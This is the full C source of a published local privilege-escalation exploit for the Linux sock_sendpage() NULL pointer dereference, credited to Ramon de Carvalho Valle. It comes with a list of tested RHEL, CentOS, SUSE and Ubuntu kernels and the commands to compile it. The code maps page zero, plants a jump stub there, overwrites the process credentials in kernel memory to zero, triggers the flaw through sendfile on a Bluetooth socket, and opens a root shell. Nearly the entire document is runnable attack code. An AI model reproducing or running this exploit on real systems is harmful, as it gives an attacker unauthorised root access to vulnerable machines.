Linux sock_sendpage() NULL Local Root Exploit

Linux sock_sendpage() NULL Local Root Exploit Kernel 2.6.x /*

*  Linux sock_sendpage() NULL pointer dereference

*  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>

*

*  This program is free software; you can redistribute it and/or modify

*  it under the terms of the GNU General Public License as published by

*  the Free Software Foundation; either version 2 of the License, or

*  (at your option) any later version.

*

*  This program is distributed in the hope that it will be useful,

*  but WITHOUT ANY WARRANTY; without even the implied warranty of

*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

*  GNU General Public License for more details.

*

*  You should have received a copy of the GNU General Public License

*  along with this program; if not, write to the Free Software

*  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

*

*/

/*

* This exploit was written to illustrate the exploitability of this

* vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc

* and ppc64.

*

* This exploit makes use of the SELinux and the mmap_min_addr problem to

* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.

* The problem, first noticed by Brad Spengler, was described by Red Hat in

* Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and

* the mmap_min_addr protection[2].

*

* Support for i386 and x86_64 was added for completeness. For a more complete

* implementation, refer to Brad Spengler's exploit[3], which also implements

* the personality trick[4] published by Tavis Ormandy and Julien Tinnes.

*

* Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4

* are vulnerable.

*

* This exploit was tested on:

*

* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable

* CentOS 5.3 (2.6.18-128.4.1.el5)

* CentOS 5.3 (2.6.18-128.2.1.el5)

* CentOS 5.3 (2.6.18-128.1.16.el5)

* CentOS 5.3 (2.6.18-128.1.14.el5)

* CentOS 5.3 (2.6.18-128.1.10.el5)

* CentOS 5.3 (2.6.18-128.1.6.el5)

* CentOS 5.3 (2.6.18-128.1.1.el5)

* CentOS 5.3 (2.6.18-128.el5)

* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable

* CentOS 4.8 (2.6.9-89.0.7.EL)

* CentOS 4.8 (2.6.9-89.0.3.EL)

* CentOS 4.8 (2.6.9-89.EL)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable

* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)

* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)

* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable

* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)

* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)

* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)

* SUSE Linux Enterprise Server 11 (2.6.27.19-5)

* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)

* Ubuntu 8.10 (2.6.27-14) is not vulnerable

* Ubuntu 8.10 (2.6.27-11)

* Ubuntu 8.10 (2.6.27-9)

* Ubuntu 8.10 (2.6.27-7)

*

* For i386 and ppc, compile with the following command:

* gcc -Wall -o linux-sendpage linux-sendpage.c

*

* And for x86_64 and ppc64:

* gcc -Wall -m64 -o linux-sendpage linux-sendpage.c

*

* [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html

* [2] http://kbase.redhat.com/faq/docs/DOC-18042

* [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz

* [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/sendfile.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#if !defined(__always_inline)

#define __always_inline inline __attribute__((always_inline))

#endif

#if defined(__i386__) || defined(__x86_64__)

#if defined(__LP64__)

static __always_inline unsigned long

current_stack_pointer(void)

{

unsigned long sp;

asm volatile ("movq %%rsp,%0; " : "=r" (sp));

return sp;

}

#else

static __always_inline unsigned long

current_stack_pointer(void)

{

unsigned long sp;

asm volatile ("movl %%esp,%0" : "=r" (sp));

return sp;

}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)

static __always_inline unsigned long

current_stack_pointer(void)

{

unsigned long sp;

asm volatile ("mr %0,%%r1; " : "=r" (sp));

return sp;

}

#endif

#if defined(__i386__) || defined(__x86_64__)

#if defined(__LP64__)

static __always_inline unsigned long

current_task_struct(void)

{

unsigned long task_struct;

asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));

return task_struct;

}

#else

#define TASK_RUNNING 0

static __always_inline unsigned long

current_task_struct(void)

{

unsigned long task_struct, thread_info;

thread_info = current_stack_pointer() & ~(4096 - 1);

if (*(unsigned long *)thread_info >= 0xc0000000) {

task_struct = *(unsigned long *)thread_info;

/*

* The TASK_RUNNING is the only possible state for a process executing

* in user-space.

*/

if (*(unsigned long *)task_struct == TASK_RUNNING)

return task_struct;

}

/*

* Prior to the 2.6 kernel series, the task_struct was stored at the end

* of the kernel stack.

*/

task_struct = current_stack_pointer() & ~(8192 - 1);

if (*(unsigned long *)task_struct == TASK_RUNNING)

return task_struct;

thread_info = task_struct;

task_struct = *(unsigned long *)thread_info;

if (*(unsigned long *)task_struct == TASK_RUNNING)

return task_struct;

return -1;

}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)

#define TASK_RUNNING 0

static __always_inline unsigned long

current_task_struct(void)

{

unsigned long task_struct, thread_info;

#if defined(__LP64__)

task_struct = current_stack_pointer() & ~(16384 - 1);

#else

task_struct = current_stack_pointer() & ~(8192 - 1);

#endif

if (*(unsigned long *)task_struct == TASK_RUNNING)

return task_struct;

thread_info = task_struct;

task_struct = *(unsigned long *)thread_info;

if (*(unsigned long *)task_struct == TASK_RUNNING)

return task_struct;

return -1;

}

#endif

#if defined(__i386__) || defined(__x86_64__)

static unsigned long uid, gid;

static int

change_cred(void)

{

unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {

if (task_struct[0] == uid && task_struct[1] == uid &&

task_struct[2] == uid && task_struct[3] == uid &&

task_struct[4] == gid && task_struct[5] == gid &&

task_struct[6] == gid && task_struct[7] == gid) {

task_struct[0] = task_struct[1] =

task_struct[2] = task_struct[3] =

task_struct[4] = task_struct[5] =

task_struct[6] = task_struct[7] = 0;

break;

}

task_struct++;

}

return -1;

}

#elif defined(__powerpc__) || defined(__powerpc64__)

static int

change_cred(void)

{

unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {

if (!task_struct[0]) {

task_struct++;

continue;

}

if (task_struct[0] == task_struct[1] &&

task_struct[0] == task_struct[2] &&

task_struct[0] == task_struct[3] &&

task_struct[4] == task_struct[5] &&

task_struct[4] == task_struct[6] &&

task_struct[4] == task_struct[7]) {

task_struct[0] = task_struct[1] =

task_struct[2] = task_struct[3] =

task_struct[4] = task_struct[5] =

task_struct[6] = task_struct[7] = 0;

break;

}

task_struct++;

}

return -1;

}

#endif

#define PAGE_SIZE getpagesize()

int

main(void)

{

char *addr;

int out_fd, in_fd;

char template[] = "/tmp/tmp.XXXXXX";

#if defined(__i386__) || defined(__x86_64__)

uid = getuid(), gid = getgid();

#endif

if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|

MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {

perror("mmap");

exit(EXIT_FAILURE);

}

#if defined(__i386__) || defined(__x86_64__)

#if defined(__LP64__)

addr[0] = '\xff';

addr[1] = '\x24';

addr[2] = '\x25';

*(unsigned long *)&addr[3] = 8;

*(unsigned long *)&addr[8] = (unsigned long)change_cred;

#else

addr[0] = '\xff';

addr[1] = '\x25';

*(unsigned long *)&addr[2] = 8;

*(unsigned long *)&addr[8] = (unsigned long)change_cred;

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)

#if defined(__LP64__)

/*

* The use of function descriptors by the Power 64-bit ELF ABI requires

* the use of a fake function descriptor.

*/

*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;

#else

addr[0] = '\x3f';

addr[1] = '\xe0';

*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;

addr[4] = '\x63';

addr[5] = '\xff';

*(unsigned short *)&addr[6] = (unsigned short)change_cred;

addr[8] = '\x7f';

addr[9] = '\xe9';

addr[10] = '\x03';

addr[11] = '\xa6';

addr[12] = '\x4e';

addr[13] = '\x80';

addr[14] = '\x04';

addr[15] = '\x20';

#endif

#endif

if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {

perror("socket");

exit(EXIT_FAILURE);

}

if ((in_fd = mkstemp(template)) == -1) {

perror("mkstemp");

exit(EXIT_FAILURE);

}

if(unlink(template) == -1) {

perror("unlink");

exit(EXIT_FAILURE);

}

if (ftruncate(in_fd, PAGE_SIZE) == -1) {

perror("ftruncate");

exit(EXIT_FAILURE);

}

sendfile(out_fd, in_fd, NULL, PAGE_SIZE);

execl("/bin/sh", "sh", "-i", NULL);

exit(EXIT_SUCCESS);

}